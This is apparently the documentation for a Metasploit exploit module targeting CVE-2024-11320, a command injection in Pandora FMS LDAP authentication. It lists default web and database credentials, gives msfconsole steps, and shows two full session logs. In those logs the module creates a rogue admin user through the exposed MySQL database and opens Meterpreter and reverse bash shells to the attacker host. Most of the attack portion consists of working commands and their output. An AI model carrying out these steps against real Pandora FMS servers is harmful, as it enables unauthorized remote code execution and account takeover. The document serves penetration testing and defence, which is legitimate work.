## Vulnerable Application
Pandora FMS is a monitoring solution that provides full observability for your organization's technology.
This module exploits an command injection vulnerability in the LDAP authentication mechanism of Pandora FMS.
You need have admin access at the Pandora FMS Web application in order to execute this RCE.
This access can be achieved leveraging a default password vulnerability in Pandora FMS that allows an attacker
to access the Pandora FMS MySQL database, create a new admin user and gain administrative access to the
Pandora FMS Web application.
This attack can be remotely executed over the WAN as long as the MySQL services are exposed to the outside world.
This issue affects Community, Free and Enterprise editions: from `v7.0NG.718` through <= `v7.0NG.777.4`

The following releases were tested.

**Pandora FMS Releases:**
* Pandora FMS Community Edition v7.0NG.718 (CentOS 7 ISO image)
* Pandora FMS Community Edition v7.0NG.759 (CentOS 7 ISO image)
* Pandora FMS Community Edition v7.0NG.777-LTS (Ubuntu 22.04)
* Pandora FMS Community Edition v7.0NG.772-LTS (Ubuntu 22.04)

## Installation steps to install Pandora FMS Community, Free or Enterprise Editions
* Install your favorite virtualization engine (VMware or VirtualBox) on your preferred platform.
* Here are the installation instructions for [VirtualBox on MacOS](https://tecadmin.net/how-to-install-virtualbox-on-macos/).
* Download [Pandora FMS iso](https://sourceforge.net/projects/pandora/files/Pandora%20FMS%207.0NG/).
* Install the iso image in your virtualization engine.
* When installed, configure the VM appliance to your needs using the menu options.
* Boot up the VM and should be able to access the Pandora FMS appliance either thru the console, `ssh` on port `22`
* or via the `webui` via `http://your_ip/pandora_console/index.php`.

* Note: from version `v7.0NG.760` follow the installation manual below:
* [Non ISO installation](https://pandorafms.com/manual/!current/en/documentation/pandorafms/installation/01_installing).

You are now ready to test the module.

## Verification Steps
- [ ] Start `msfconsole`
- [ ] `use exploit/linux/http/linux/http/pandora_fms_auth_rce_cve_2024_11320`
- [ ] `set rhosts <ip-target>`
- [ ] `set rport <port>`
- [ ] `set lhost <attacker-ip>`
- [ ] `set target <0=PHP Command, 1=Unix/Linux Command>`
- [ ] `exploit`
- [ ] you should get a `reverse shell` or `Meterpreter` session depending on the `payload` and `target` settings

## Options

### USERNAME
This option is optional and is the username (default: admin) to authenticate with the Pandora FMS application.

### PASSWORD
This option is optional and is the password (default: pandora) in plain text to authenticate with the Pandora FMS application.

### DB_USER
This option is required and is the username (default: pandora) to authenticate with the Pandora FMS MySQL database.

### DB_PASSWORD
This option is required and is the password (default: Pandor4!) in plain text to authenticate with the Pandora FMS MySQL database.
Note: In older versions, this password is set to `pandora` during installation of the application.

### DB_PORT
This option is required and is the MySQL database port (default: 3306) to connect to the database.

## Scenarios
```msf
msf exploit(linux/http/pandora_fms_auth_rce_cve_2024_11320) > info

       Name: Pandora FMS authenticated command injection leading to RCE via LDAP using default DB password
     Module: exploit/linux/http/pandora_fms_auth_rce_cve_2024_11320
   Platform: Unix, Linux, PHP
       Arch: cmd, php
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2024-11-21

Provided by:
  h00die-gr3y <h00die.gr3y@gmail.com>
  Askar mhaskar

Module side effects:
 artifacts-on-disk
 ioc-in-logs

Module stability:
 crash-safe

Module reliability:
 repeatable-session

Available targets:
      Id  Name
      --  ----
  =>  0   PHP Command
      1   Unix/Linux Command

Check supported:
  Yes

Basic options:
  Name         Current Setting      Required  Description
  ----         ---------------      --------  -----------
  DB_NAME      pandora              yes       Pandora database
  DB_PASSWORD  Pandor4!             yes       Pandora database admin password
  DB_PORT      3306                 yes       MySQL database port
  DB_USER      pandora              yes       Pandora database admin user
  PASSWORD     pandora              no        Pandora web admin password
  Proxies                           no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                            yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/usin
                                              g-metasploit.html
  RPORT        80                   yes       The target port (TCP)
  SSL          false                no        Negotiate SSL/TLS for outgoing connections
  TARGETURI    /pandora_console     yes       Path to the Pandora FMS application
  USERNAME     admin                no        Pandora web admin user
  VHOST                             no        HTTP server virtual host

Payload information:

Description:
  Pandora FMS is a monitoring solution that provides full observability for your organization's
  technology. This module exploits an command injection vulnerability in the LDAP authentication
  mechanism of Pandora FMS.
  You need have admin access at the Pandora FMS Web application in order to execute this RCE.
  This access can be achieved leveraging a default password vulnerability in Pandora FMS that
  allows an attacker to access the Pandora FMS MySQL database, create a new admin user and gain
  administrative access to the Pandora FMS Web application. This attack can be remotely executed
  over the WAN as long as the MySQL services are exposed to the outside world.
  This issue affects Community, Free and Enterprise editions: from v7.0NG.718 through <= v7.0NG.777.4

References:
  https://nvd.nist.gov/vuln/detail/CVE-2024-11320
  https://pandorafms.com/en/security/common-vulnerabilities-and-exposures/
  https://attackerkb.com/topics/CsDUaLijbT/cve-2024-11320

View the full module info with the info -d command.
```
### Pandora FMS v7.0NG.777 on Ubuntu 22.04 -  PHP Command target
Attack scenario: use the default database credentials (pandora:Pandor4!) to create an admin user in the application
to gain the privileges for the RCE.
```msf
msf exploit(linux/http/pandora_fms_auth_rce_cve_2024_11320) > set password xxx
password => xxx
msf exploit(linux/http/pandora_fms_auth_rce_cve_2024_11320) > set rhosts 192.168.201.6
rhosts => 192.168.201.6
msf exploit(linux/http/pandora_fms_auth_rce_cve_2024_11320) > exploit
[*] Started reverse TCP handler on 192.168.201.8:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Pandora FMS version v7.0NG.777
[*] Trying to log in with admin credentials admin:xxx at the Pandora FMS Web application.
[*] Logging in with admin credentials failed. Trying to connect to the Pandora MySQL server.
[*] Creating new admin user with credentials cnrjq:jeQsinXxfe for access at the Pandora FMS Web application.
[*] Trying to log in with new admin credentials cnrjq:jeQsinXxfe at the Pandora FMS Web application.
[*] Succesfully authenticated at the Pandora FMS Web application.
[*] Saving admin credentials at the msf database.
[*] Executing PHP Command for php/meterpreter/reverse_tcp
[*] Sending stage (40004 bytes) to 192.168.201.6
[*] Meterpreter session 28 opened (192.168.201.8:4444 -> 192.168.201.6:59242) at 2024-12-22 10:35:05 +0000
[+] Payload is successful removed from LDAP configuration.

meterpreter > sysinfo
Computer    : cuckoo
OS          : Linux cuckoo 5.15.0-126-generic #136-Ubuntu SMP Wed Nov 6 10:38:22 UTC 2024 x86_64
Meterpreter : php/linux
meterpreter > getuid
Server username: www-data
meterpreter > pwd
/var/www/html/pandora_console
meterpreter >
```
###  Pandora FMS v7.0NG.777 on Ubuntu 22.04 - Unix/Linux Command target
Attack scenario: use the default admin credentials (admin:pandora) of the Pandora FMS application
to gain the privileges for the RCE.
```msf
msf exploit(linux/http/pandora_fms_auth_rce_cve_2024_11320) > set target 1
target => 1
msf exploit(linux/http/pandora_fms_auth_rce_cve_2024_11320) > set payload cmd/unix/reverse_bash
payload => cmd/unix/reverse_bash
msf exploit(linux/http/pandora_fms_auth_rce_cve_2024_11320) > set password pandora
password => pandora
msf exploit(linux/http/pandora_fms_auth_rce_cve_2024_11320) > exploit
[*] Started reverse TCP handler on 192.168.201.8:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Pandora FMS version v7.0NG.777
[*] Trying to log in with admin credentials admin:pandora at the Pandora FMS Web application.
[*] Succesfully authenticated at the Pandora FMS Web application.
[*] Saving admin credentials at the msf database.
[*] Executing Unix/Linux Command for cmd/unix/reverse_bash
[*] Command shell session 29 opened (192.168.201.8:4444 -> 192.168.201.6:37616) at 2024-12-22 10:57:58 +0000
[+] Payload is successful removed from LDAP configuration.

pwd
/var/www/html/pandora_console
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
uname -a
Linux cuckoo 5.15.0-126-generic #136-Ubuntu SMP Wed Nov 6 10:38:22 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
```

## Limitations
In older versions of Pandora FMS, you might run into error 'Unable to login from this host due to policy' if you try to connect
to the MySQL database with the default database credentials.
This is caused by the restrictive host settings at the MySQL database which is default set to `localhost` and `127.0.0.1`.
You can check this with the SQL command below if you have local access to the database.
```
SELECT host FROM mysql.user WHERE user = "pandora";
+-----------+
| host      |
+-----------+
| 127.0.0.1 |
| localhost |
+-----------+
```
In newer versions of Pandora FMS, this has been changed to '%' which allow any host to connect to the database.
